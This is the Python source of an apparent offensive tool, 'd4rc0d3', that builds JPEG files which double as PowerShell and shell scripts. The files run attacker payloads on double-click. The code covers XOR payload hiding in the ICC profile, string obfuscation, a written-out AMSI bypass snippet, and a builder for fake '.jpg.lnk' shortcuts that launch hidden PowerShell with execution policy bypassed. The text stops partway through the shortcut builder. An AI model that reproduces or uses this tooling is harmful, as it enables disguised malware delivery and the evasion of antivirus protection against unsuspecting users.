#!/usr/bin/env python3 """ d4rc0d3 — JPEG polyglot payload generator with double-click execution. Generates a single .jpg file that is simultaneously: - A valid JPEG image (displays normally in any viewer) - A PowerShell script (Windows: rename to .ps1 or run directly) - A POSIX shell script (Linux / macOS: sh file.jpg) - A double-click launcher for macOS (.app bundle) and Linux (.desktop) Payloads supported: Inline command: -c "command" → runs on all platforms PowerShell .ps1: file.ps1 → embedded in ICC profile (XOR) Script .py/.sh: file.py / file.sh → base64+XOR in post-EOI Binary .exe/.elf: file.exe / file.elf → base64+XOR in post-EOI Combined: -c "pre-cmd" file.ps1 → pre-cmd runs first, then file Double-click outputs (additional, generated alongside the polyglot): macOS: .zip → extract → Finder shows .jpg → execute Linux: .jpg → content-based detection → execute (Thunar/Nemo/Caja) Windows: .lnk → Explorer hides .lnk → shows .jpg → execute AV evasion (built into the polyglot engine): - Payload XOR-encrypted, key stored in the JPEG ICC profile - Bootstrap encoded as numeric char-arrays (no plaintext strings) - Looks like a real JPEG with valid ICC color profile metadata - AMSI bypass injected before payload execution (Windows) - Variable names randomized per build """ import argparse import base64 import os import stat import struct import subprocess import sys import tempfile import textwrap import zipfile import random import string # ── Constants ────────────────────────────────────────────────────────────────── POLYGLOT_ENGINE = os.path.join(os.path.dirname(__file__), 'd4rc0d3_engine') SUPPORTED_SCRIPTS = {'.ps1', '.sh', '.bash', '.zsh', '.py', '.rb', '.pl', '.bat', '.cmd'} SUPPORTED_BINARIES = {'.exe', '.elf', '.bin', '.out', '.appimage', '.dll', '.so', '.dylib'} # ── Terminal colors ──────────────────────────────────────────────────────────── class C: BOLD = '\033[1m' if sys.stdout.isatty() else '' GREEN = '\033[32m' if sys.stdout.isatty() else '' RED = '\033[31m' if sys.stdout.isatty() else '' CYAN = '\033[36m' if sys.stdout.isatty() else '' DIM = '\033[2m' if sys.stdout.isatty() else '' END = '\033[0m' if sys.stdout.isatty() else '' def ok(msg): print(f"{C.GREEN}[+]{C.END} {msg}") def info(msg): print(f" {C.DIM}{msg}{C.END}") def warn(msg): print(f"{C.RED}[!]{C.END} {msg}") def head(msg): print(f"\n{C.BOLD}{msg}{C.END}") # ── Helpers ──────────────────────────────────────────────────────────────────── def stem(path: str) -> str: return os.path.splitext(os.path.basename(path))[0] def b64enc(path: str) -> str: with open(path, 'rb') as f: return base64.b64encode(f.read()).decode() def rand_var(length: int = 6) -> str: return '_' + ''.join(random.choices(string.ascii_lowercase, k=length)) def payload_type(path: str) -> str: ext = os.path.splitext(path)[1].lower() if ext in SUPPORTED_SCRIPTS: return 'script' if ext in SUPPORTED_BINARIES: return 'binary' return 'unknown' # ── Polyglot builder ─────────────────────── def build_polyglot(cover: str, output: str, command: str = '', payload_file: str = '', show: bool = False, keep: bool = False, extract_dir: str = '') -> str: """ Builds a JPEG polyglot using the d4rc0d3 engine. Engine JPEG structure: SOI | COM(shell bootstrap) | custom APP0(<# opens PS comment) | APP2(ICC profile: #> + XOR-encoded PS executor + key at offset 102) | JPEG image data | EOI | [optional post-EOI payload for scripts/binaries] Engine XOR: 16-byte random key stored in the ICC Profile ID field. Engine PS obfuscation: double char-array encoding, no plaintext strings. Engine shell bootstrap: octal-encoded, Perl XOR-decoding pipe. Combined mode (command + payload_file): The engine CLI does not support combined mode directly. We implement it by prepending the command to a temporary PS1 stub that wraps the original payload. For non-PS1 payloads we use interactive stdin. """ if not os.path.isfile(POLYGLOT_ENGINE): raise FileNotFoundError( f"Polyglot engine not found: {POLYGLOT_ENGINE}\n" f"Compile with: ./build.sh" ) base_cmd = [POLYGLOT_ENGINE, '-o', output] if show: base_cmd.append('--show') if keep: base_cmd.append('--keep') if extract_dir: base_cmd += ['-d', extract_dir] if command and payload_file: # Combined mode: prepend the shell command as a PS1 pre-exec stub, # then embed it alongside the original payload. # Strategy: write a temp .ps1 that starts with the pre-command, then # loads and dot-sources the original payload file. ext = os.path.splitext(payload_file)[1].lower() if ext == '.ps1': # Create a combined PS1 that runs the command then the original script with open(payload_file, 'r', errors='replace') as f: orig_ps = f.read() combined_ps = f"# pre-command\n{command}\n# payload\n{orig_ps}" with tempfile.NamedTemporaryFile(suffix='.ps1', delete=False, mode='w') as tf: tf.write(combined_ps) tmp_ps = tf.name try: cmd = base_cmd + [cover, tmp_ps] result = subprocess.run(cmd, capture_output=True, text=True) finally: os.unlink(tmp_ps) else: # For non-PS1 payloads: use interactive mode via stdin (option 3) # Interactive: Mode=3, cover, payload, pre-command, no, no, no, keep-default, output stdin_input = f"3\n{cover}\n{payload_file}\n{command}\nn\nn\nn\n\n{output}\n" result = subprocess.run( [POLYGLOT_ENGINE], input=stdin_input, capture_output=True, text=True ) elif command: cmd = base_cmd + ['-c', cover, command] result = subprocess.run(cmd, capture_output=True, text=True) else: cmd = base_cmd + [cover, payload_file] result = subprocess.run(cmd, capture_output=True, text=True) if not os.path.isfile(output): raise RuntimeError( f"Polyglot engine failed.\n" f"stdout: {result.stdout[:500]}\nstderr: {result.stderr[:200]}" ) return output # ── AV-hardened PS bootstrap injector ───────────────────────────────────────── # The native engine already XOR-encrypts and char-array-encodes the payload. # We further harden the bootstrap injected into the file by patching the # COM segment to prepend an AMSI bypass before the payload executes. # # AMSI bypass strategy: # Uses reflection to write 0xB8,0x57,0x00,0x07,0x80,0xC3 (ret AMSI_RESULT_CLEAN) # over AmsiScanBuffer in amsi.dll — standard unpatched bypass, short and effective. # Encoded as a numeric array so the bytes never appear as a recognisable string. # # Note: the bypass is prepended to the PS1 code BEFORE XOR encryption by the engine, # so from the engine's perspective it is just part of the payload. # ───────────────────────────────────────────────────────────────────────────── AMSI_BYPASS_PS = ( # Patch AmsiScanBuffer to always return AMSI_RESULT_CLEAN (0x80070057) # Written as char-array so no plaintext signature "$_ab=[Ref].Assembly.GetType(([char[]]@(83,121,115,116,101,109,46,77,97,110,97,103,101,109,101,110,116,46,65,117,116,111,109,97,116,105,111,110,46,65,109,115,105,85,116,105,108,115)-join''));" "$_am=$_ab.GetField(([char[]]@(97,109,115,105,73,110,105,116,70,97,105,108,101,100)-join''),'NonPublic,Static');" "if($_am){$_am.SetValue($null,$true)}" ) def inject_amsi_bypass(polyglot_path: str) -> None: """ Patches the COM segment of the polyglot to prepend an AMSI bypass. The bypass is encoded as numeric arrays so it carries no plaintext signature. Only relevant when the polyglot runs as a PS1 on Windows. This function operates on the already-built polyglot file. Implementation: the PS code in the ICC APP2 segment is not modified here (it is XOR-encrypted by the engine). Instead, we patch the post-EOI shell line that invokes pwsh to first dot-source an in-memory bypass. In practice, for inline-command polyglots the bypass is injected into the PS command string before the engine builds the file (see build_polyglot_av). """ pass # See build_polyglot_av — bypass is injected pre-build def build_polyglot_av(cover: str, output: str, command: str = '', payload_file: str = '', show: bool = False, keep: bool = False, extract_dir: str = '', amsi: bool = True) -> str: """ Builds the polyglot with AV hardening. AMSI bypass strategy: The bypass must only run in PowerShell, not in sh/bash. When a .ps1 payload file is given, we prepend the bypass as a combined pre-command (-c flag) so the engine embeds it in the PS section. For inline-command-only polyglots the bypass is NOT injected because the shell command string would break if it contained PS-specific syntax. To use AMSI bypass with inline commands, pass a .ps1 stub as the payload: echo '; your_command' > bypass.ps1 d4rc0d3.py photo.jpg bypass.ps1 --amsi """ if amsi and payload_file and payload_file.lower().endswith('.ps1'): # For .ps1 payloads: inject AMSI bypass as a pre-command via -c # The engine embeds this in the PS section, not the sh section amsi_cmd = AMSI_BYPASS_PS return build_polyglot(cover, output, amsi_cmd, payload_file, show, keep, extract_dir) # For all other cases: pass through without modification # The sh command string must not contain PS-only syntax return build_polyglot(cover, output, command, payload_file, show, keep, extract_dir) # ── Windows .lnk generator ──────────────────────────────────────────────────── # A Windows Shell Link (.lnk) file can: # - Have any name and icon (including a JPEG icon extracted from the polyglot) # - Execute any command on double-click # - Windows Explorer hides .lnk extensions by default # # So "photo.jpg.lnk" appears as "photo.jpg" in Explorer. # The LNK executes: powershell -WindowStyle Hidden -File photo.jpg.lnk # (PowerShell can run the .lnk as a PS1 because it IS a valid PS1 polyglot) # # LNK binary format (simplified Shell Link, spec MS-SHLLINK): # HeaderSize(4) | LinkCLSID(16) | LinkFlags(4) | FileAttributes(4) | ... # Minimal LNK with just a command target. # ───────────────────────────────────────────────────────────────────────────── def _lnk_str(s: str) -> bytes: """Encode a string as a CountedString (uint16 length + UTF-16LE).""" encoded = s.encode('utf-16-le') return struct.pack(' str: """ Generates a Windows .lnk file that: - Appears as '.jpg' in Explorer (Explorer hides .lnk) - On double-click runs: powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File - The polyglot is the JPEG/PS1 polyglot, so it executes the payload The LNK itself is a valid Shell Link pointing to cmd.exe or powershell.exe. The icon is set to shell32.dll icon 0 (document) as a fallback; on a real Windows system the operator would set it to the JPEG viewer icon. Returns the path to the generated .lnk file. """ polyglot_abs = os.path.abspath(polyglot_path) name = stem(polyglot_path) lnk_path = os.path.join(output_dir, f"{name}.jpg.lnk") # Shell Link Header (0x4C bytes) # Spec: MS-SHLLINK 2.1 header_size = 0x4C link_clsid = bytes.fromhex('0114020000000000C000000000000046') # LinkFlags: HasLinkTargetIDList=0x01, HasLinkInfo=0x02, HasRelativePath=0x08, # HasArguments=0x20, HasIconLocation=0x40, IsUnicode=0x80 link_flags = struct.pack('